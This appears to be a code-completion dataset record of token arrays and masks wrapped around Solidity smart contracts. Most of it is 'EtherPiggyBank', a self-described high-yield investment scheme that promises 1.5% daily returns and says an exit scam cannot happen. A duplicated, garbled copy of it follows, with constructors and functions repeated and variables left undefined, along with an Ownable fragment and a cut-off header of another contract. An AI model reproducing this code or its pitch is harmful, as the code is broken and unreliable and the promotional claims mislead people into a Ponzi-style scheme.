869,
1345,
16,
358,
1345,
31787,
1769,
203,
203,
3639,
309,
261,
22270,
6275,
87,
63,
21,
65,
405,
374,
13,
288,
203,
5411,
2254,
5034,
312,
2126,
6275,
273,
389,
5935,
10257,
12,
2
] |
pragma solidity ^0.4.18;
//
// EtherPiggyBank
// (etherpiggybank.com)
//
// <`--'\>______
// /. . `' \
// (`') , @
// `-._, /
// )-)_/--( >
// '''' ''''
//
// Invest Ethereum into a long term stable solution where
// your investment can grow organically as the system expands.
// You will gain +1.5% of your invested Ethereum every day that
// you leave it in the Ether Piggy Bank!
// You can withdraw your investments at any time but it will
// incur a 20% withdrawal fee (~13 days of investing).
// You can also invest your profits back into your account and
// your gains will compound the more you do this!
//
// Big players can compete for the investment positions available,
// every time someone makes a deposit into the Ether Piggy Bank,
// they will receive a percentage of that sale in their
// affiliate commision.
// You can buy this position off anyone and double it's current
// buying price but every 3-7 days (depending on the position),
// the buying price will halve until it reaches 0.125 ether.
// Upon buying, the previous investor gets 75% of the buying price,
// the dev gets 5% and the rest goes into the contract to encourage
// an all round balanced ecosystem!
//
// You will also receive a 5% bonus, which will appear in your
// affiliate commission, by referring another player to the game
// via your referral URL! It's a HYIP on a smart contract, fully
// transparent and you'll never need to worry about an exit scam or
// someone taking all the money and leaving!
contract EtherPiggyBank {
// investment tracking for each address
mapping (address => uint256) public investedETH;
mapping (address => uint256) public lastInvest;
// for referrals and investor positions
mapping (address => uint256) public affiliateCommision;
uint256 REF_BONUS = 4; // 4% of the ether invested
// goes into the ref address' affiliate commision
uint256 DEV_TAX = 1; // 1% of all ether invested
// goes into the dev address' affiliate commision
uint256 BASE_PRICE = 0.125 ether; // 1/8 ether
uint256 INHERITANCE_TAX = 75; // 75% will be returned to the
// investor if their position is purchased, the rest will
// go to the contract and the dev
uint256 DEV_TRANSFER_TAX = 5;
// this means that when purchased the sale will be distrubuted:
// 75% to the old position owner
// 5% to the dev
// and 20% to the contract for all the other investors
// ^ this will encourage a healthy ecosystem
struct InvestorPosition {
address investor;
uint256 startingLevel;
uint256 startingTime;
uint256 halfLife;
uint256 percentageCut;
}
InvestorPosition[] investorPositions;
address dev;
// start up the contract!
function EtherPiggyBank() public {
// set the dev address
dev = msg.sender;
// make the gold level investor
investorPositions.push(InvestorPosition({
investor: dev,
startingLevel: 5, // 1/8 ether * 2^5 = 4 ether
startingTime: now,
halfLife: 7 days, // 7 days until the level decreases
percentageCut: 5 // with 5% cut of all investments
}));
// make the silver level investor
investorPositions.push(InvestorPosition({
investor: dev,
startingLevel: 4, // 1/8 ether * 2^4 = 2 ether
startingTime: now,
halfLife: 5 days, // 5 days until the level decreases
percentageCut: 3 // with 3% cut of all investments
}));
// make the bronze level investor
investorPositions.push(InvestorPosition({
investor: dev,
startingLevel: 3, // 1/8 ether * 2^3 = 1 ether
startingTime: now,
halfLife: 3 days, // 3 days until the level decreases
percentageCut: 1 // with 1% cut of all investments
}));
}
function investETH(address referral) public payable {
require(msg.value >= 0.01 ether);
if (getProfit(msg.sender) > 0) {
uint256 profit = getProfit(msg.sender);
lastInvest[msg.sender] = now;
msg.sender.transfer(profit);
}
uint256 amount = msg.value;
// handle all of our investor positions first
bool flaggedRef = (referral == msg.sender || referral == dev); // ref cannot be the sender or the dev
for(uint256 i = 0; i < investorPositions.length; i++) {
InvestorPosition memory position = investorPositions[i];
// check that our ref isn't an investor too
if (position.investor == referral) {
flaggedRef = true;
}
// we cannot claim on our own investments
if (position.investor != msg.sender) {
uint256 commision = SafeMath.div(SafeMath.mul(amount, position.percentageCut), 100);
affiliateCommision[position.investor] = SafeMath.add(affiliateCommision[position.investor], commision);
}
}
// now for the referral (if we have one)
if (!flaggedRef && referral != 0x0) {
uint256 refBonus = SafeMath.div(SafeMath.mul(amount, REF_BONUS), 100); // 4%
affiliateCommision[referral] = SafeMath.add(affiliateCommision[referral], refBonus);
}
// hand out the dev tax
uint256 devTax = SafeMath.div(SafeMath.mul(amount, DEV_TAX), 100); // 1%
affiliateCommision[dev] = SafeMath.add(affiliateCommision[dev], devTax);
// now put it in your own piggy bank!
investedETH[msg.sender] = SafeMath.add(investedETH[msg.sender], amount);
lastInvest[msg.sender] = now;
}
function divestETH() public {
uint256 profit = getProfit(msg.sender);
// 20% fee on taking capital out
uint256 capital = investedETH[msg.sender];
uint256 fee = SafeMath.div(capital, 5);
capital = SafeMath.sub(capital, fee);
uint256 total = SafeMath.add(capital, profit);
require(total > 0);
investedETH[msg.sender] = 0;
lastInvest[msg.sender] = now;
msg.sender.transfer(total);
}
function withdraw() public{
uint256 profit = getProfit(msg.sender);
require(profit > 0);
lastInvest[msg.sender] = now;
msg.sender.transfer(profit);
}
function withdrawAffiliateCommision() public {
require(affiliateCommision[msg.sender] > 0);
uint256 commision = affiliateCommision[msg.sender];
affiliateCommision[msg.sender] = 0;
msg.sender.transfer(commision);
}
function reinvestProfit() public {
uint256 profit = getProfit(msg.sender);
require(profit > 0);
lastInvest[msg.sender] = now;
investedETH[msg.sender] = SafeMath.add(investedETH[msg.sender], profit);
}
function inheritInvestorPosition(uint256 index) public payable {
require(investorPositions.length > index);
require(msg.sender == tx.origin);
InvestorPosition storage position = investorPositions[index];
uint256 currentLevel = getCurrentLevel(position.startingLevel, position.startingTime, position.halfLife);
uint256 currentPrice = getCurrentPrice(currentLevel);
require(msg.value >= currentPrice);
uint256 purchaseExcess = SafeMath.sub(msg.value, currentPrice);
position.startingLevel = currentLevel + 1;
position.startingTime = now;
// now do the transfers
uint256 inheritanceTax = SafeMath.div(SafeMath.mul(currentPrice, INHERITANCE_TAX), 100); // 75%
position.investor.transfer(inheritanceTax);
position.investor = msg.sender; // set the new investor address
// now the dev transfer tax
uint256 devTransferTax = SafeMath.div(SafeMath.mul(currentPrice, DEV_TRANSFER_TAX), 100); // 5%
dev.transfer(devTransferTax);
// and finally the excess
msg.sender.transfer(purchaseExcess);
// after this point there will be 20% of currentPrice left in the contract
// this will be automatically go towards paying for profits and withdrawals
}
function getInvestorPosition(uint256 index) public view returns(address investor, uint256 currentPrice, uint256 halfLife, uint256 percentageCut) {
InvestorPosition memory position = investorPositions[index];
return (position.investor, getCurrentPrice(getCurrentLevel(position.startingLevel, position.startingTime, position.halfLife)), position.halfLife, position.percentageCut);
}
function getCurrentPrice(uint256 currentLevel) internal view returns(uint256) {
return BASE_PRICE * 2**currentLevel; // ** is exponent, price doubles every level
}
function getCurrentLevel(uint256 startingLevel, uint256 startingTime, uint256 halfLife) internal view returns(uint256) {
uint256 timePassed = SafeMath.sub(now, startingTime);
uint256 levelsPassed = SafeMath.div(timePassed, halfLife);
if (startingLevel < levelsPassed) {
return 0;
}
return SafeMath.sub(startingLevel,levelsPassed);
}
function getProfitFromSender() public view returns(uint256){
return getProfit(msg.sender);
}
function getProfit(address customer) public view returns(uint256){
uint256 secondsPassed = SafeMath.sub(now, lastInvest[customer]);
return SafeMath.div(SafeMath.mul(secondsPassed, investedETH[customer]), 5760000); // = days * amount * 0.015 (+1.5% per day)
}
function getAffiliateCommision() public view returns(uint256){
return affiliateCommision[msg.sender];
}
function getInvested() public view returns(uint256){
return investedETH[msg.sender];
}
function getBalance() public view returns(uint256){
return this.balance;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
investment tracking for each address for referrals and investor positions goes into the ref address' affiliate commision goes into the dev address' affiliate commision investor if their position is purchased, the rest will go to the contract and the dev this means that when purchased the sale will be distrubuted: 75% to the old position owner 5% to the dev and 20% to the contract for all the other investors ^ this will encourage a healthy ecosystem
|
contract EtherPiggyBank {
mapping (address => uint256) public investedETH;
mapping (address => uint256) public lastInvest;
mapping (address => uint256) public affiliateCommision;
uint256 DEV_TRANSFER_TAX = 5;
struct InvestorPosition {
address investor;
uint256 startingLevel;
uint256 startingTime;
uint256 halfLife;
uint256 percentageCut;
}
InvestorPosition[] investorPositions;
address dev;
function EtherPiggyBank() public {
dev = msg.sender;
investorPositions.push(InvestorPosition({
investor: dev,
startingTime: now,
}));
investorPositions.push(InvestorPosition({
investor: dev,
startingTime: now,
}));
investorPositions.push(InvestorPosition({
investor: dev,
startingTime: now,
}));
}
function EtherPiggyBank() public {
dev = msg.sender;
investorPositions.push(InvestorPosition({
investor: dev,
startingTime: now,
}));
investorPositions.push(InvestorPosition({
investor: dev,
startingTime: now,
}));
investorPositions.push(InvestorPosition({
investor: dev,
startingTime: now,
}));
}
function EtherPiggyBank() public {
dev = msg.sender;
investorPositions.push(InvestorPosition({
investor: dev,
startingTime: now,
}));
investorPositions.push(InvestorPosition({
investor: dev,
startingTime: now,
}));
investorPositions.push(InvestorPosition({
investor: dev,
startingTime: now,
}));
}
function EtherPiggyBank() public {
dev = msg.sender;
investorPositions.push(InvestorPosition({
investor: dev,
startingTime: now,
}));
investorPositions.push(InvestorPosition({
investor: dev,
startingTime: now,
}));
investorPositions.push(InvestorPosition({
investor: dev,
startingTime: now,
}));
}
function investETH(address referral) public payable {
require(msg.value >= 0.01 ether);
if (getProfit(msg.sender) > 0) {
uint256 profit = getProfit(msg.sender);
lastInvest[msg.sender] = now;
msg.sender.transfer(profit);
}
uint256 amount = msg.value;
for(uint256 i = 0; i < investorPositions.length; i++) {
InvestorPosition memory position = investorPositions[i];
if (position.investor == referral) {
flaggedRef = true;
}
if (position.investor != msg.sender) {
uint256 commision = SafeMath.div(SafeMath.mul(amount, position.percentageCut), 100);
affiliateCommision[position.investor] = SafeMath.add(affiliateCommision[position.investor], commision);
}
}
if (!flaggedRef && referral != 0x0) {
affiliateCommision[referral] = SafeMath.add(affiliateCommision[referral], refBonus);
}
lastInvest[msg.sender] = now;
}
function investETH(address referral) public payable {
require(msg.value >= 0.01 ether);
if (getProfit(msg.sender) > 0) {
uint256 profit = getProfit(msg.sender);
lastInvest[msg.sender] = now;
msg.sender.transfer(profit);
}
uint256 amount = msg.value;
for(uint256 i = 0; i < investorPositions.length; i++) {
InvestorPosition memory position = investorPositions[i];
if (position.investor == referral) {
flaggedRef = true;
}
if (position.investor != msg.sender) {
uint256 commision = SafeMath.div(SafeMath.mul(amount, position.percentageCut), 100);
affiliateCommision[position.investor] = SafeMath.add(affiliateCommision[position.investor], commision);
}
}
if (!flaggedRef && referral != 0x0) {
affiliateCommision[referral] = SafeMath.add(affiliateCommision[referral], refBonus);
}
lastInvest[msg.sender] = now;
}
function investETH(address referral) public payable {
require(msg.value >= 0.01 ether);
if (getProfit(msg.sender) > 0) {
uint256 profit = getProfit(msg.sender);
lastInvest[msg.sender] = now;
msg.sender.transfer(profit);
}
uint256 amount = msg.value;
for(uint256 i = 0; i < investorPositions.length; i++) {
InvestorPosition memory position = investorPositions[i];
if (position.investor == referral) {
flaggedRef = true;
}
if (position.investor != msg.sender) {
uint256 commision = SafeMath.div(SafeMath.mul(amount, position.percentageCut), 100);
affiliateCommision[position.investor] = SafeMath.add(affiliateCommision[position.investor], commision);
}
}
if (!flaggedRef && referral != 0x0) {
affiliateCommision[referral] = SafeMath.add(affiliateCommision[referral], refBonus);
}
lastInvest[msg.sender] = now;
}
function investETH(address referral) public payable {
require(msg.value >= 0.01 ether);
if (getProfit(msg.sender) > 0) {
uint256 profit = getProfit(msg.sender);
lastInvest[msg.sender] = now;
msg.sender.transfer(profit);
}
uint256 amount = msg.value;
for(uint256 i = 0; i < investorPositions.length; i++) {
InvestorPosition memory position = investorPositions[i];
if (position.investor == referral) {
flaggedRef = true;
}
if (position.investor != msg.sender) {
uint256 commision = SafeMath.div(SafeMath.mul(amount, position.percentageCut), 100);
affiliateCommision[position.investor] = SafeMath.add(affiliateCommision[position.investor], commision);
}
}
if (!flaggedRef && referral != 0x0) {
affiliateCommision[referral] = SafeMath.add(affiliateCommision[referral], refBonus);
}
lastInvest[msg.sender] = now;
}
function investETH(address referral) public payable {
require(msg.value >= 0.01 ether);
if (getProfit(msg.sender) > 0) {
uint256 profit = getProfit(msg.sender);
lastInvest[msg.sender] = now;
msg.sender.transfer(profit);
}
uint256 amount = msg.value;
for(uint256 i = 0; i < investorPositions.length; i++) {
InvestorPosition memory position = investorPositions[i];
if (position.investor == referral) {
flaggedRef = true;
}
if (position.investor != msg.sender) {
uint256 commision = SafeMath.div(SafeMath.mul(amount, position.percentageCut), 100);
affiliateCommision[position.investor] = SafeMath.add(affiliateCommision[position.investor], commision);
}
}
if (!flaggedRef && referral != 0x0) {
affiliateCommision[referral] = SafeMath.add(affiliateCommision[referral], refBonus);
}
lastInvest[msg.sender] = now;
}
function investETH(address referral) public payable {
require(msg.value >= 0.01 ether);
if (getProfit(msg.sender) > 0) {
uint256 profit = getProfit(msg.sender);
lastInvest[msg.sender] = now;
msg.sender.transfer(profit);
}
uint256 amount = msg.value;
for(uint256 i = 0; i < investorPositions.length; i++) {
InvestorPosition memory position = investorPositions[i];
if (position.investor == referral) {
flaggedRef = true;
}
if (position.investor != msg.sender) {
uint256 commision = SafeMath.div(SafeMath.mul(amount, position.percentageCut), 100);
affiliateCommision[position.investor] = SafeMath.add(affiliateCommision[position.investor], commision);
}
}
if (!flaggedRef && referral != 0x0) {
affiliateCommision[referral] = SafeMath.add(affiliateCommision[referral], refBonus);
}
lastInvest[msg.sender] = now;
}
affiliateCommision[dev] = SafeMath.add(affiliateCommision[dev], devTax);
investedETH[msg.sender] = SafeMath.add(investedETH[msg.sender], amount);
function divestETH() public {
uint256 profit = getProfit(msg.sender);
uint256 capital = investedETH[msg.sender];
uint256 fee = SafeMath.div(capital, 5);
capital = SafeMath.sub(capital, fee);
uint256 total = SafeMath.add(capital, profit);
require(total > 0);
investedETH[msg.sender] = 0;
lastInvest[msg.sender] = now;
msg.sender.transfer(total);
}
function withdraw() public{
uint256 profit = getProfit(msg.sender);
require(profit > 0);
lastInvest[msg.sender] = now;
msg.sender.transfer(profit);
}
function withdrawAffiliateCommision() public {
require(affiliateCommision[msg.sender] > 0);
uint256 commision = affiliateCommision[msg.sender];
affiliateCommision[msg.sender] = 0;
msg.sender.transfer(commision);
}
function reinvestProfit() public {
uint256 profit = getProfit(msg.sender);
require(profit > 0);
lastInvest[msg.sender] = now;
investedETH[msg.sender] = SafeMath.add(investedETH[msg.sender], profit);
}
function inheritInvestorPosition(uint256 index) public payable {
require(investorPositions.length > index);
require(msg.sender == tx.origin);
InvestorPosition storage position = investorPositions[index];
uint256 currentLevel = getCurrentLevel(position.startingLevel, position.startingTime, position.halfLife);
uint256 currentPrice = getCurrentPrice(currentLevel);
require(msg.value >= currentPrice);
uint256 purchaseExcess = SafeMath.sub(msg.value, currentPrice);
position.startingLevel = currentLevel + 1;
position.startingTime = now;
position.investor.transfer(inheritanceTax);
dev.transfer(devTransferTax);
msg.sender.transfer(purchaseExcess);
}
function getInvestorPosition(uint256 index) public view returns(address investor, uint256 currentPrice, uint256 halfLife, uint256 percentageCut) {
InvestorPosition memory position = investorPositions[index];
return (position.investor, getCurrentPrice(getCurrentLevel(position.startingLevel, position.startingTime, position.halfLife)), position.halfLife, position.percentageCut);
}
function getCurrentPrice(uint256 currentLevel) internal view returns(uint256) {
}
function getCurrentLevel(uint256 startingLevel, uint256 startingTime, uint256 halfLife) internal view returns(uint256) {
uint256 timePassed = SafeMath.sub(now, startingTime);
uint256 levelsPassed = SafeMath.div(timePassed, halfLife);
if (startingLevel < levelsPassed) {
return 0;
}
return SafeMath.sub(startingLevel,levelsPassed);
}
function getCurrentLevel(uint256 startingLevel, uint256 startingTime, uint256 halfLife) internal view returns(uint256) {
uint256 timePassed = SafeMath.sub(now, startingTime);
uint256 levelsPassed = SafeMath.div(timePassed, halfLife);
if (startingLevel < levelsPassed) {
return 0;
}
return SafeMath.sub(startingLevel,levelsPassed);
}
function getProfitFromSender() public view returns(uint256){
return getProfit(msg.sender);
}
function getProfit(address customer) public view returns(uint256){
uint256 secondsPassed = SafeMath.sub(now, lastInvest[customer]);
}
function getAffiliateCommision() public view returns(uint256){
return affiliateCommision[msg.sender];
}
function getInvested() public view returns(uint256){
return investedETH[msg.sender];
}
function getBalance() public view returns(uint256){
return this.balance;
}
}
| 5,979,748 |
[
1,
5768,
395,
475,
11093,
364,
1517,
1758,
364,
1278,
370,
1031,
471,
2198,
395,
280,
6865,
13998,
1368,
326,
1278,
1758,
11,
7103,
330,
3840,
1543,
1951,
13998,
1368,
326,
4461,
1758,
11,
7103,
330,
3840,
1543,
1951,
2198,
395,
280,
309,
3675,
1754,
353,
5405,
343,
8905,
16,
326,
3127,
903,
1960,
358,
326,
6835,
471,
326,
4461,
333,
4696,
716,
1347,
5405,
343,
8905,
326,
272,
5349,
903,
506,
1015,
313,
373,
4817,
30,
18821,
9,
358,
326,
1592,
1754,
3410,
1381,
9,
358,
326,
4461,
471,
4200,
9,
358,
326,
6835,
364,
777,
326,
1308,
2198,
395,
1383,
3602,
333,
903,
2446,
477,
410,
279,
28819,
6557,
538,
1108,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
512,
1136,
52,
360,
7797,
16040,
288,
203,
377,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
1071,
2198,
3149,
1584,
44,
31,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
1071,
1142,
3605,
395,
31,
203,
377,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
1071,
7103,
330,
3840,
12136,
1951,
31,
203,
377,
203,
565,
2254,
5034,
2030,
58,
67,
16596,
6553,
67,
56,
2501,
273,
1381,
31,
203,
203,
565,
1958,
5454,
395,
280,
2555,
288,
203,
3639,
1758,
2198,
395,
280,
31,
203,
3639,
2254,
5034,
5023,
2355,
31,
203,
3639,
2254,
5034,
5023,
950,
31,
203,
3639,
2254,
5034,
8816,
15315,
31,
203,
3639,
2254,
5034,
11622,
15812,
31,
203,
565,
289,
203,
203,
565,
5454,
395,
280,
2555,
8526,
2198,
395,
280,
11024,
31,
7010,
565,
1758,
4461,
31,
203,
203,
565,
445,
512,
1136,
52,
360,
7797,
16040,
1435,
1071,
288,
203,
540,
203,
3639,
4461,
273,
1234,
18,
15330,
31,
203,
540,
203,
3639,
2198,
395,
280,
11024,
18,
6206,
12,
3605,
395,
280,
2555,
12590,
203,
5411,
2198,
395,
280,
30,
4461,
16,
203,
5411,
5023,
950,
30,
2037,
16,
203,
5411,
289,
10019,
203,
203,
3639,
2198,
395,
280,
11024,
18,
6206,
12,
3605,
395,
280,
2555,
12590,
203,
5411,
2198,
395,
280,
30,
4461,
16,
203,
5411,
5023,
950,
30,
2037,
16,
203,
5411,
289,
10019,
203,
203,
3639,
2198,
395,
280,
11024,
18,
6206,
12,
3605,
395,
280,
2555,
12590,
203,
5411,
2198,
395,
280,
30,
4461,
16,
2
] |
./full_match/4/0xaCF242D98cfD8674AA904AcB21dcE155cA52cEbB/sources/contracts/facets/access/ownable/Ownable.sol
|
* @title Ownership access control based on ERC173/
|
contract Ownable is IERC173, OwnableInternal {
import {IERC173} from "./IERC173.sol";
import {OwnableInternal} from "./OwnableInternal.sol";
function owner() public view virtual returns (address) {
return _owner();
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address account) public virtual onlyOwner {
_transferOwnership(account);
}
}
| 12,286,506 |
[
1,
5460,
12565,
2006,
3325,
2511,
603,
4232,
39,
31331,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
14223,
6914,
353,
467,
654,
39,
31331,
16,
14223,
6914,
3061,
288,
203,
203,
5666,
288,
45,
654,
39,
31331,
97,
628,
25165,
45,
654,
39,
31331,
18,
18281,
14432,
203,
5666,
288,
5460,
429,
3061,
97,
628,
25165,
5460,
429,
3061,
18,
18281,
14432,
203,
565,
445,
3410,
1435,
1071,
1476,
5024,
1135,
261,
2867,
13,
288,
203,
3639,
327,
389,
8443,
5621,
203,
565,
289,
203,
203,
565,
445,
1654,
8386,
5460,
12565,
1435,
1071,
5024,
1338,
5541,
288,
203,
3639,
389,
13866,
5460,
12565,
12,
2867,
12,
20,
10019,
203,
565,
289,
203,
203,
565,
445,
7412,
5460,
12565,
12,
2867,
2236,
13,
1071,
5024,
1338,
5541,
288,
203,
3639,
389,
13866,
5460,
12565,
12,
4631,
1769,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/3/0x03b0258e8A3d9C0a7574bD55b06815998345ec1B/sources/contracts/DiamondHoldTestETH.sol
|
* @dev Breaks down a token amount into its transfer, reflection and liquidity/ Determines the fee based on the given tier that will cost this transaction
|
function _getTokenValues(uint256 tAmount, uint8 tier) private view returns (uint256, uint256, uint256) {
uint256 tFee = 0;
if (tier == 4) {
tFee = tAmount.mul(_reflectionTaxTierFour).div(100);
tFee = tAmount.mul(_reflectionTaxTierThree).div(100);
tFee = tAmount.mul(_reflectionTaxTierTwo).div(100);
tFee = tAmount.mul(_reflectionTaxTierOne).div(100);
}
uint256 tLiquidity = tAmount.mul(_liquidityTax).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
} else if (tier == 3) {
} else if (tier == 2) {
} else {
}
| 8,267,737 |
[
1,
26806,
2588,
279,
1147,
3844,
1368,
2097,
7412,
16,
5463,
471,
4501,
372,
24237,
19,
30778,
326,
14036,
2511,
603,
326,
864,
17742,
716,
903,
6991,
333,
2492,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
588,
1345,
1972,
12,
11890,
5034,
268,
6275,
16,
2254,
28,
17742,
13,
3238,
1476,
1135,
261,
11890,
5034,
16,
2254,
5034,
16,
2254,
5034,
13,
288,
203,
3639,
2254,
5034,
268,
14667,
273,
374,
31,
203,
540,
203,
3639,
309,
261,
88,
2453,
422,
1059,
13,
288,
203,
5411,
268,
14667,
273,
268,
6275,
18,
16411,
24899,
26606,
7731,
15671,
42,
477,
2934,
2892,
12,
6625,
1769,
203,
5411,
268,
14667,
273,
268,
6275,
18,
16411,
24899,
26606,
7731,
15671,
28019,
2934,
2892,
12,
6625,
1769,
203,
5411,
268,
14667,
273,
268,
6275,
18,
16411,
24899,
26606,
7731,
15671,
11710,
2934,
2892,
12,
6625,
1769,
203,
5411,
268,
14667,
273,
268,
6275,
18,
16411,
24899,
26606,
7731,
15671,
3335,
2934,
2892,
12,
6625,
1769,
203,
3639,
289,
203,
27699,
3639,
2254,
5034,
268,
48,
18988,
24237,
273,
268,
6275,
18,
16411,
24899,
549,
372,
24237,
7731,
2934,
2892,
12,
6625,
1769,
203,
3639,
2254,
5034,
268,
5912,
6275,
273,
268,
6275,
18,
1717,
12,
88,
14667,
2934,
1717,
12,
88,
48,
18988,
24237,
1769,
203,
3639,
327,
261,
88,
5912,
6275,
16,
268,
14667,
16,
268,
48,
18988,
24237,
1769,
203,
3639,
289,
469,
309,
261,
88,
2453,
422,
890,
13,
288,
203,
3639,
289,
469,
309,
261,
88,
2453,
422,
576,
13,
288,
203,
3639,
289,
469,
288,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
/**
*
* https://fundingsecured.me/fair/
*
*
* ________ ________ ___ ________
* |\ _____\\ __ \|\ \|\ __ \
* \ \ \__/\ \ \|\ \ \ \ \ \|\ \
* \ \ __\\ \ __ \ \ \ \ _ _\
* \ \ \_| \ \ \ \ \ \ \ \ \\ \|
* \ \__\ \ \__\ \__\ \__\ \__\\ _\
* \|__| \|__|\|__|\|__|\|__|\|__|
* ________ ___ ___ ________ ________ ________
* |\ _____\\ \|\ \|\ ___ \|\ ___ \|\ ____\
